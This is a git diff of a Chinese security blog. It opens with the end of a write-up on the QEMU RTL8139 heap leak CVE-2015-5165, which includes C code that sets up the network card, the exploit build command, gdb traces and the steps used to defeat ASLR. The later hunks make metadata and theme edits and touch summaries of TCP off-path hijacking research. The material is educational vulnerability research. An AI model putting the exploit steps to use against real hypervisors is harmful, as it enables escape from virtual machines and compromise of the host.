DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len** **= be16_to_cpu(ip->ip_len) - hlen;
}
}
```
IP头包含两个字段hlen和ip-> ip_len分别表示IP头的长度考虑到不带选项的数据包为20字节和包括ip头的数据包的总长度。 如下面给出的代码片段末尾所示在计算IP数据长度ip_data_len没有检查以确保 ip→ip_len >= hlen 。 由于ip_data_len字段被编码为unsigned short int因此导致发送的数据多于发送缓冲区中实际可用的数据。
更精确地讲ip_data_len稍后用于计算TCP数据的长度如果该数据超过MTU的大小则将其逐块复制到一个malloc缓冲区中
```c
int tcp_data_len** **= ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
int is_last_frame = 0;
for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;
tcp_send_offset += tcp_chunk_size) {
uint16_t chunk_size = tcp_chunk_size;
/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) {
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}
memcpy(data_to_checksum, saved_ip_header + 12, 8);
if (tcp_send_offset) {
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,
(uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset,
chunk_size);
}
/* more code follows */
}
```
因此如果我们伪造了长度损坏的畸形数据包例如ip→ip_len = hlen-1则可能会从QEMU的堆内存中泄漏大约64 KB。网卡设备仿真器将通过发送43个分段的数据包结束 而不是发送单个数据包。
### 3.2 Setting up the Card
为了发送格式错误的数据包并读取泄漏的数据我们需要在卡上配置Rx和Tx描述符缓冲区并设置一些标志以使我们的数据包流经易受攻击的代码路径。
下图显示了RTL8139寄存器。 我们将不详述所有这些内容,而是仅详述与我们的利用相关的那些内容:
```shell
+---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+
```
* **TxConfig:** 启用/禁用Tx标志例如TxLoopBack启用回送测试模式TxCRC不将CRC附加到Tx数据包等。
* **RxConfig:** 启用/禁用Rx标志例如AcceptBroadcast接受广播数据包AcceptMulticast接受组播数据包等。
* **CpCmd:** C+命令寄存器用于启用某些功能例如CplusRxEnd启用接收CplusTxEnd启用发送等。
* **TxAddr0:** Tx描述符表的物理内存地址。
* **RxRingAddrLO:** Rx描述符表的低32位物理内存地址。
* **RxRingAddrHI:** Rx描述符表的高32位物理内存地址。
* **TxPoll:**告诉网卡检查Tx描述符。
Rx/Tx描述符 由以下结构定义其中buf_lo和buf_hi分别是Tx/Rx缓冲区的低32位和高32位物理存储地址。 这些地址指向保存要发送/接收的数据包的缓冲区,并且必须在页面大小边界上对齐。 变量dw0对缓冲区的大小以及其他标志例如所有权标志进行编码以表示缓冲区是由网卡还是由驱动程序拥有。
```c
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t **buf_lo**;
uint32_t **buf_hi**;
};
```
网卡通过in*() out*()原语来自sys/io.h进行配置。 为此我们需要具有CAP_SYS_RAWIO特权。 以下代码段配置了网卡并设置了一个Tx描述符。
```c
#define RTL8139_PORT 0xc000
#define RTL8139_BUFFER_SIZE 1500
struct rtl8139_desc desc;
void *rtl8139_tx_buffer;
uint32_t phy_mem;
rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer);
memset(&desc, 0, sizeof(struct rtl8139_desc));
desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
CP_TX_IPCS | CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc.buf_lo = phy_mem;
iopl(3);
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);
outl(phy_mem, RTL8139_PORT + TxAddr0);
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);
```
### 3.3 Exploit
phrack随附的源代码中提供了完整的利用cve-2015-5165.c uuencode用于将二进制文件编码为纯ASCII文本以便可以通过电子邮件发送它们。
cve-2015-5165.c依赖qemu.h头文件中的函数偏移地址因此首先需要通过[build-exploit.sh](https://github.com/jiayy/android_vuln_poc-exp/blob/master/EXP-2015-7504/build-exploit.sh)来进行计算。
```shell
./build-exploit.sh '/home/han/VMescape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64'
```
该漏洞利用程序在网卡上配置所需的寄存器并设置Tx和Rx缓冲区描述符。 然后它伪造了格式错误的IP数据包该IP数据包的目的地址和源地址为网卡的MAC地址。 这使我们能够通过访问已配置的Rx缓冲区来读取泄漏的数据。
通过对qemu运行程序下断点可用看到漏洞触发的过程由于ip_len小于伪造的hlen导致最后tcp_data_len比实际的 tcp 数据大, 多余的内存区会被拷贝到包里发送出去网卡需要配置为loopback 口)
```shell
(gdb) b rtl8139.c:2173
Breakpoint 1 at 0x55a5ef757b03: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2173.
(gdb) c
Continuing.
Thread 3 "qemu-system-x86" hit Breakpoint 1, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)
at /home/han/VMescape/qemu/hw/net/rtl8139.c:2173
2173 if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
(gdb) p/x ip
$1 = 0x7ff7d4278b6e
(gdb) p/x *ip
$2 = {ip_ver_len = 0x45, ip_tos = 0x0, ip_len = 0x1300, ip_id = 0xadde, ip_off = 0x40, ip_ttl = 0x40, ip_p = 0x6,
ip_sum = 0xadde, ip_src = 0x10108c0, ip_dst = 0x201a8c0}
(gdb) n
[Thread 0x7ff7e131f700 (LWP 56763) exited]
2179 hlen = IP_HEADER_LENGTH(ip);
(gdb) n
2180 ip_protocol = ip→ip_p;
(gdb) p/x hlen
$5 = 0x14
(gdb) n
2181 ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
(gdb) n
2185 if (ip)
(gdb) p/x ip_data_len
**$7 = 0xffff**
(gdb) b rtl8139.c:2231
Breakpoint 2 at 0x55a5ef757d42: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2231.
(gdb) c
Continuing.
Thread 3 "qemu-system-x86" hit Breakpoint 2, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)
at /home/han/VMescape/qemu/hw/net/rtl8139.c:2231
2231 int tcp_data_len = ip_data_len - tcp_hlen;
(gdb) n
2232 int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
(gdb) p/x tcp_data_len
**$8 = 0xffeb**
```
虚拟机内部的用户进程通过读取收包队列的数据包就可以知道被泄露的那块 qemu 内存区的内容。在分析泄漏的数据时我们观察到存在多个函数指针。经过调试发现这些函数指针都是struct ObjectProperty这个 qemu 内部结构体的数据。struct ObjectProperty 包含 11 个指针, 这里边有 4 个函数指针 **get/set/resolve/release**
```c
typedef struct ObjectProperty
{
gchar *name;
gchar *type;
gchar *description;
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;
void *opaque;
QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;
```
QEMU遵循对象模型来管理设备内存区域等。启动时QEMU创建多个对象并为其分配属性。 例如以下的函数将“may-overlap”属性添加给一个内存区域对象。 此属性具有getter方法可以检索此boolean属性的值
```c
object_property_add_bool(OBJECT(mr), "may-overlap",
memory_region_get_may_overlap,
NULL, /* memory_region_set_may_overlap */
&error_abort);
```
RTL8139网卡设备仿真器在堆上保留了64 KB的空间以重组数据包。 该分配的缓冲区很可能把释放掉的object properties的内存占位了。
在我们的漏洞利用中我们在泄漏的内存中搜索已知的对象属性。更准确地说我们正在寻找80个字节的内存块块大小为已释放的ObjectProperty结构其中至少设置了一个函数指针get, set, resolve or release
即使这些地址受ASLR约束我们仍然可以猜测**.text节的基地址**。
> 0) 从 qemu-system-x86_64 二进制文件里搜索上述 4 类符号的所有静态地址, 如 **property_get_bool** 等符号的地址
> 1) 在读回来的 IP 包的数据里搜索值等于 0x60 的内存 ptr 如果匹配到, 认为 (u64*)ptr+1 的地方就是一个潜在的 struct ObjectProperty 对象, 对应的函数是 **qemu_get_leaked_chunk**
> 2) 在 1 搜索到的内存上匹配 0 收集到的 **get/set/resolve/release** 这几种符号的静态地址, 匹配方式为页内偏移相等, 如果匹配到, 认为就是 struct ObjectProperty 对象, 对应的函数是 **qemu_get_leaked_object_property**
> 3) 在 2 搜索的基础上, 用 **object->get/set/resolve/release** 的实际地址减去静态编译里算出来的 offset, 得到 .text 加载的地址
实际上它们的页面偏移是固定的12个最低有效位或虚拟地址不是随机的。 我们可以通过一些算法来获取QEMU一些有用函数的地址。 我们还可以从它们的PLT条目中导出某些LibC函数的地址例如mprotect() 和system()。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_30.png)
我们还注意到地址PHY_MEM + 0x78泄漏了几次其中PHY_MEM是分配给该Guest的**物理内存的起始地址。**
> 总结当前漏洞利用程序搜索泄漏的内存并尝试解析i.text段的基地址和ii物理内存的基地址。
### 3.4 遇到的几个问题
1. phrack提供的build-exploit.sh, 它是一个工具脚本,用来获取一些符号的(相对)地址。[原始的](http://www.phrack.org/papers/vm-escape-qemu-case-study.html) build-exploit.sh 获取 plt 段是通过下面的命令行:
2. `plt**=**$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')`
这样获取到的是 .plt.got 段,在我的环境里, mprotect 等系统函数符号没有在 .plt.got 这个段,而是在 .plt 这个段。因此替换如下:
```shell
#plt=$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')
plt=.plt
```
1. Phrack 文章提供的 Exploit 代码中搜索的地址是PHY_MEM + 0x78但实际上并不固定为0x78更通用的做法是统计泄露的数据中出现的 `uint64_t` 类型的数据 `0x00007FXXYYZZZZZZ` ,其中 `7FXXYY` 出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;修改之后成功获得物理地址
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_31.png">
通过 gdb 调试验证结果正确性:
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_32.png" >
## ref
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp
https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/

View File

@ -6,7 +6,6 @@ tags:
- ctf
categories:
- web
description: WEB安全的START
---
# 搭建环境

View File

@ -6,7 +6,6 @@ tags:
- ctf
categories:
- web
description: 信息收集+常规owasp top 10+逻辑漏洞
---
信息收集+常规owasp top 10+逻辑漏洞

View File

@ -6,7 +6,6 @@ tags:
- wifi
categories:
- 顶会论文
description: 什么是信息?什么是加密?什么是侧信道?
---
@ -23,7 +22,7 @@ description: 什么是信息?什么是加密?什么是侧信道?
**香农信息论**
![信息熵](https://raw.githubusercontent.com/Cool-Y/tcp_exploit/master/pic/1.PNG)
![信息熵](./1.png)
**什么是信息?** 用来减少随机不确定的东西
@ -43,7 +42,7 @@ description: 什么是信息?什么是加密?什么是侧信道?
1. 中间人攻击
> "指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。"
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/2-Man_in_the_middle_attack.svg.png?raw=true)
![](./2-Man_in_the_middle_attack.svg.png)
* 公共wifi、路由器劫持
* 一般使用加密来防御
* 加密的代价:维护密钥证书、影响功能(运营商无法做缓存)
@ -60,7 +59,7 @@ description: 什么是信息?什么是加密?什么是侧信道?
----------------
### TCP三次握手
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/3-Connection_TCP.png?raw=true)
![](./3-Connection_TCP.png)
>1. 客户端通过向服务器端发送一个SYN来创建一个主动打开作为三路握手的一部分。客户端把这段连接的序号设定为*随机数A*。
>2. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1SYN/ACK包本身又有一个*随机产生的序号B*。
>3. 最后客户端再发送一个ACK。当服务端收到这个ACK的时候就完成了三路握手并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1而响应号则为B+1。
@ -83,12 +82,12 @@ description: 什么是信息?什么是加密?什么是侧信道?
**攻击模型:**
给受害者安装一个无特权的应用程序仅能网络连接这个程序跟非中间人的攻击者里应外合劫持手机上所有的TCP连接。
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/5-%E6%94%BB%E5%87%BB%E6%A8%A1%E5%9E%8B.PNG?raw=true)
![](./5-攻击模型.PNG)
**如何劫持TCP**
1. 需要的信息Facebook的连接IP地址和端口号由此可以知道TCP连接的序列号利用序列号伪装成Facebook给手机发消息。
使用netstat命令获取
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/4-netstat%E8%8E%B7%E5%8F%96%E4%BF%A1%E6%81%AF.jpg?raw=true)
![](./4-netstat获取信息.jpg)
2. 任务由于TCP的序列号通常连续所以要精确猜到它的下一个序列号。
3. 如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。
@ -117,9 +116,9 @@ description: 什么是信息?什么是加密?什么是侧信道?
**如何利用共享限速器:**
先判断是否建立了连接。然后伪造TCP包需要猜测源端口如果猜测正确服务器会返回一个challenge攻击者不断触发一共可以收到99个还有一个发给了客户端如果猜测错误则一共可以收到100个challenge。
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/6-GRL-R.PNG?raw=true)
![](./6-GRL-R.png)
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/7-GRL-L.PNG?raw=true)
![](./7-GRL-L.png)
**评估:** 是否建立了连接:<10s ; Seq30s ACK:<10s
@ -133,15 +132,15 @@ Can Jeopardize Your Secrets
之前的漏洞无论是计数器还是限速器都属于软件,很好更正,但这篇文章的漏洞利用无法修复。
**TCP收包的原理** 通常TCP收包要看这个包是否匹配了当前的某一个连接。如果连接匹配上了就会去看这个包的序列号如果序列号不对会触发一个回复说明这个序列号存在问题如果序列号正确但反向序列号不对也会丢包。当连接匹配、序列号和反向序列号正确时就会返回一个数据包。
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/8-%E6%94%B6%E5%8C%85%E5%8E%9F%E7%90%86.jpg?raw=true)
![](./8-收包原理.jpg)
**侧信道:** 攻击者伪装成服务器给客户端发包,正确的序列号会有***回复***,错误则没有。但回复时发送给服务器的,有没有回复攻击者并不知道。那么如何去判断有没有回复,利用无线网络的 ***半双工*** 传输。
让有回包和没有回包的时间差异放大。
**判断流程:** 客户端和路由器之间wifi通信。攻击者依次发送三个数据包第一个包用来测试正常的RTT。第2个包是伪装成服务器发送的如果第2个包猜对了客户端会向服务器返回数据包这会导致占用更长时间的wifi信道从而会使第3个包的RTT更长。
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/8-Trigger.PNG?raw=true)
![](./8-noTrigger.PNG)
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/8-noTrigger.PNG?raw=true)
![](./8-trigger.PNG)
**评估:** 在本地环境下如果发送40个包就有20ms的RTT差别。
@ -161,14 +160,14 @@ Can Jeopardize Your Secrets
**4. 细节:**
* **连接(四元组)推断:** 每一轮使用30个重复包测试一个端口如果端口号正确就会发现RTT大幅增加。如果还要完成 ***web缓存投毒*** ,还需要傀儡初始化连接来协助,根据系统不同,有不同的端口选择算法可以优化:***windows&macOS*** 使用全局和顺序端口分配策略为其TCP连接选择短暂的端口号这意味着攻击者可以在观察到与恶意Web服务器的初始连接后推断出要使用的下一个端口号这完全消除了对端口号推断的需要。***NAT*** 端口保留,不需要关心外部端口被转换成不可预知的内部端口。***来自同一域名的多个IP地址***,这意味着攻击者需要付出更大的代价来推断端口号。
* **序列号推断:** 通过利用时序侧信道来判断是否存在相应的响应,从而将窗口序列号与窗外序列号区分开来。一旦我们得到一个 ***窗口内序列号***,通过进行二分搜索进一步将序列号空间缩小到单个值 ***RCV.NXT***。如果还要使用傀儡建立的连接发起web缓存投毒可以进一步优化***增大接收窗口的大小***可以减少猜测的迭代次数通常可以放大到500000(之前是65535)而且根据RFC793,窗口放大之后就永远不会缩小。
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/9-%E5%BA%8F%E5%88%97%E5%8F%B7%E6%8E%A8%E6%96%AD.PNG?raw=true)
![](./9-序列号推断.PNG)
* **TCP劫持** 通过劫持傀儡初始化的连接可以简化web缓存投毒的过程。三个os在ACK验证上都不符合规范所以各自处理情况也不同——***windows***客户端必须持续发送请求以防止ACK接收窗口仅为一个字节这要求攻击者必须能准确预期下一个序列号并解决大量流量带来的噪声。
因此作者设计了一种新策略该策略利用处理重叠数据的TCP行为和处理损坏的HTTP响应的浏览器行为——在Windows主机上缓冲的攻击者注入数据可能会破坏来自服务器的真实HTTP响应。 ***1注入***傀儡不断从服务器上请求脚本而攻击者发送2^23/|wnd|个欺骗性数据包这些包的窗口序列号与RCV.NXT加上偏移量相匹配其中|wnd|为ack接收窗口大小第i个数据包的ACK号为i*|wnd|payload为
```
websocket.send(|wnd|*i)
```
因此这些数据包中包含有效ACK号的一个包将被缓冲并破坏真实的HTTP响应头。浏览器执行注入的脚本时它将通过websocket发送猜测的ACK号提供有效的窗口内ACK号。
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/9-http%E6%B3%A8%E5%85%A5.PNG?raw=true)
![](./9-http注入.PNG)
***2利用***由于客户端已经接受了额外的欺骗payload推进了其预期的序列号因此客户端和服务器实际上已经被去同步。攻击者现在可以简单地发送欺骗性响应知道预期的序列号和有效的ACK号。如果我们只想执行一次性注入只需用恶意脚本替换第一步中的payload就足够了。
此外针对Windows的注入步骤存在更加通用的替代策略不依赖于浏览器行为。 具体来说由于HTTP响应的前几个字节是可预先确定的即HTTP不破坏真实的响应而是覆盖标题和正文以形成合法但恶意的响应。 在这种情况下,浏览器将完全忘记注入的存在。 这表明一旦序列号泄露就存在各种方法来有效地将数据注入浏览器而不用进行基于时间信道的慢得多的ACK号推断。

View File

@ -6,9 +6,10 @@ tags:
- Windows
- 漏洞
categories: Pwn
description: 这部分是对Window x86平台下的几个典型漏洞利用方式的介绍从最基础的、没有开启任何保护的漏洞程序入手然后开启GS最后通过rop绕过DEP。
---
这部分是对Window x86平台下的几个典型漏洞利用方式的介绍从最基础的、没有开启任何保护的漏洞程序入手然后开启GS最后通过rop绕过DEP。
---------------
# 0x00 漏洞利用开发简介
1需要什么

View File

@ -7,7 +7,6 @@ tags:
- 自然语言处理
categories:
- 顶会论文
description: 提前发现、登记和注释物联网设备
---
***论文来源:***USENIX SECURITY 2018Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices
***下载:***

View File

@ -7,7 +7,6 @@ tags:
- SSH
categories:
- IOT
description: 小米基于 trx 改了个打包解包固件的工具
---
# 小米固件工具mkxqimage

View File

@ -6,7 +6,7 @@ tags:
- 硬件层
categories:
- IOT
description: 固件有几种获取方法?
---
通过分析物联网设备遭受攻击的链条可以发现黑客获取固件把固件逆向成汇编或C程序语言后能分析出设备的运行流程和网络行为还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息他们也很难发现这些漏洞。从这一点看物联网设备的安全性在很大程度上决定于其固件的安全性。

View File

@ -5,7 +5,6 @@ tags:
- 逆向
- 破解
categories: 二进制
description: 一些逆向的小实验
---
# 软件保护方式

View File

@ -1,39 +1,22 @@
---
title: About Cool❄, aka 混元霹雳手
title: 关于我
date: 2019-03-17 18:55:11
type: "about"
comments: false
---
------
## TL;DR
- 🔭 Focus on IoT security and Android security.
- 🌱 Learning VM escape.
- 📝 My blog: https://cool-y.github.io/
- 🏫 Bachelor: Sichuan university; Master: Wuhan university
- 📫 Hit me up: cool.yim@foxmail.com
- ⚡ Fun fact: 'Fun Facts' Are Never Fun
- 💬 Ask me about ...
---------------
------
## 🙊Papers
### **智能家居攻击与防御方法综述**
**信息安全学报** , Han Yan, Guojun Peng, Luo Yuan, Side Liu
<center>一只想成为hacker的菜鸡的随笔
### **Android Data-Clone Attack via Operating System Customization**
**IEEE Access**, Song, Wenna, Ming Jiang, Han Yan, Yi Xiang, Yuan Chen, Yuan Luo, Kun He, and Guojun Peng.
自称混元霹雳手
### **App's Auto-Login Function Security Testing via Android OS-Level Virtualization**
**ICSE'21**, Song, Wenna, Jiang Ming, Lin Jiang, Han Yan, Yi Xiang, Yuan Chen, Jianming Fu, and Guojun Peng.
本科毕业于成都七中附属大学EE专业
-------
## 🙈Academic service
**Journal Sub Reviewer** 信息安全学报Cyber Security
现于街道口樱花大学攻读IS硕士
-------
## 🐒Vulnerabilities Disclosure
- PSV-2018-0020(duplicate)
- PSV-2019-0164
- CVE-2019-15843
- PSV-2020-0211(extended)
- CVE-2021-29379
偶尔分享踩过的坑
以及一些乱七八糟的想法
***欢迎交流~***</center>

View File

@ -1,119 +0,0 @@
---
title: Life is a wonderful thing
date: 2019-08-08 20:35:31
type: "hack之外"
comments: true
---
## 👣Footprint
### Beijing
| | |
| ------ | ----------- |
| ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075017/life/ed8fcbd8846a5503f00ad7dc89bb250.jpg) | ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075017/life/bae0a0b1356578e2ea0e3cbc8775789.jpg) |
| ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075017/life/3103ea1e6f402d8071956b933a4888a.jpg) ||
### Qingdao & Yantai
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075784/life/4d315332aae693e6ddd7f46fb44e5eb.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075783/life/8d8a7ee74e6ee20f4b5e5d64b50bba1.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075783/life/0b39705d40d1b3afa5983fad0656659.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075783/life/d68aef840e0b27734e55514324c3aad.jpg)|
### Hangzhou
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076425/life/8c958cbb036b2b5700d419aadff8981.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076433/life/bc53d4d59fe0567109b2fdcae73ad49.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076438/life/e97c138ba1bb94cb7a2eafe0742d180.jpg)||
### Nanjing
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076607/life/482f05f94499ab26f0402386d02acb7.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076607/life/482f05f94499ab26f0402386d02acb7.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076604/life/d4f61566a74c89128e8945c5fff6576.jpg)|![]()|
### Shanghai
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076823/life/c253b4877671de16e6fcf33bc4c346a.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076825/life/1c12f392632265d4928d1743af0a58c.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076830/life/b447add6d2ebaf392f876e00e9420fe.jpg)|![]()|
### Quanzhou & Xiamen
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077118/life/59f3440e97133fa3aa0e85de0a90e90.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077126/life/8c0a20d89fac9efba2a5d9178825f28.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077136/life/3d6b16a8e1c0d5151081c3403e3ccd5.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077111/life/c9bdcb566db1455ff73fc43c3b739f6.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077105/life/87a585bbc588baa4167a1805e92d928.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077099/life/d025c15c0b5e787bf8b3cb3cf834f53.jpg)|
### Haikou
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077399/life/93b6111863fa916917fc8f13ad03512.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077394/life/7065c06f743c629881d0b981d9ca1de.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077392/life/2edd325305b8a9cfba0eae36eb99855.jpg)|![]()|
### Qinghai
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077771/life/d2f538547401446600ad278f659f278.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077784/life/6adf21f23d7eb1718e3e66ce59bbc90.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077779/life/38c46862480582a77bb301c4aa374ab.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077774/life/21de36a564974001f43a126ac665a29.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077790/life/5ecab6c5ef8d00d0bf98c6ee7a493bf.jpg)|![]()|
### Xian
| | |
| ------ | ----------- |
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078006/life/e19d3bfd408c896f44514e3e98a303f.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078009/life/800df229bda713832baab30f8d1576c.jpg)|
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078014/life/93382f02dcf4a8a5292f80718041ccd.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078019/life/ff6fc86f46ee85263630d34ed95e6a3.jpg)|
### Chengdu
| | |
| ------ | ----------- |
|![]()|![]()|
### Wuhan
| | |
| ------ | ----------- |
|![]()|![]()|
### Kangding
| | |
| ------ | ----------- |
|![]()|![]()|
### Zhengzhou
| | |
| ------ | ----------- |
|![]()|![]()|
### Changsha
| | |
| ------ | ----------- |
|![]()|![]()|
### Shenzhen
| | |
| ------ | ----------- |
|![]()|![]()|
### Xinjiang
| | |
| ------ | ----------- |
|![]()|![]()|
### Zhuhai
| | |
| ------ | ----------- |
|![]()|![]()|
### Xizang
| | |
| ------ | ----------- |
|![]()|![]()|
### Guangzhou
| | |
| ------ | ----------- |
|![]()|![]()|
### Hulunbeier
| | |
| ------ | ----------- |
|![]()|![]()|

View File

@ -0,0 +1,6 @@
---
title:
date: 2019-08-08 20:35:31
type: "hack之外"
comments: false
---

@ -1 +0,0 @@
Subproject commit d24c48efb1ff1182b23926a3835e350f9c3ab6eb

View File

@ -101,7 +101,7 @@ menu:
#sitemap: /sitemap.xml || sitemap
#commonweal: /404/ || heartbeat
bookmarks: /bookmarks/ || map
album: /album/ || heartbeat
HACK之外: /hack之外/ || heartbeat
# Enable/Disable menu icons.
menu_icons:
@ -118,10 +118,10 @@ baidusitemap:
# ---------------------------------------------------------------
# Schemes
# scheme: Mist
scheme: Muse
# scheme: Gemini
# scheme: Pisces
#scheme: Muse
#scheme: Mist
#scheme: Pisces
scheme: Gemini
# ---------------------------------------------------------------
@ -145,7 +145,6 @@ social:
#YouTube: https://youtube.com/yourname || youtube
Instagram: https://www.instagram.com/yan__han/ || instagram
#Skype: skype:yourname?call|chat || skype
# RSS: /atom.xml || fas fa-rss
social_icons:
enable: true
@ -191,8 +190,8 @@ sidebar:
# - always expand for all pages automatically
# - hide expand only when click on the sidebar toggle icon.
# - remove Totally remove sidebar including sidebar toggle.
# display: post
display: always
display: post
#display: always
#display: hide
#display: remove
@ -203,10 +202,10 @@ sidebar:
b2t: false
# Scroll percent label in b2t button.
scrollpercent: true
scrollpercent: false
# Enable sidebar on narrow view (only for Muse | Mist).
onmobile: true
onmobile: false
# ---------------------------------------------------------------
@ -217,7 +216,7 @@ sidebar:
scroll_to_more: true
# Automatically saving scroll position on each post/page in cookies.
save_scroll: true
save_scroll: false
# Automatically excerpt description in homepage as preamble text.
excerpt_description: true
@ -257,7 +256,7 @@ alipay: /images/Alipay.png
# Declare license on posts
post_copyright:
enable: true
enable: false
license: CC BY-NC-SA 3.0
license_url: https://creativecommons.org/licenses/by-nc-sa/3.0/
@ -267,7 +266,7 @@ post_copyright:
# ---------------------------------------------------------------
# Reduce padding / margin indents on devices with narrow width.
mobile_layout_economy: true
mobile_layout_economy: false
# Android Chrome header panel color ($black-deep).
android_chrome_color: "#222"
@ -409,8 +408,8 @@ valine:
# Introduction: https://imsun.net/posts/gitment-introduction/
# You can get your Github ID from https://api.github.com/users/<Github username>
gitment:
enable: false
mint: true # RECOMMEND, A mint on Gitment, to support count, language and proxy_gateway
enable: true
mint: false # RECOMMEND, A mint on Gitment, to support count, language and proxy_gateway
count: true # Show comments count in post meta area
lazy: false # Comments lazy loading with a button
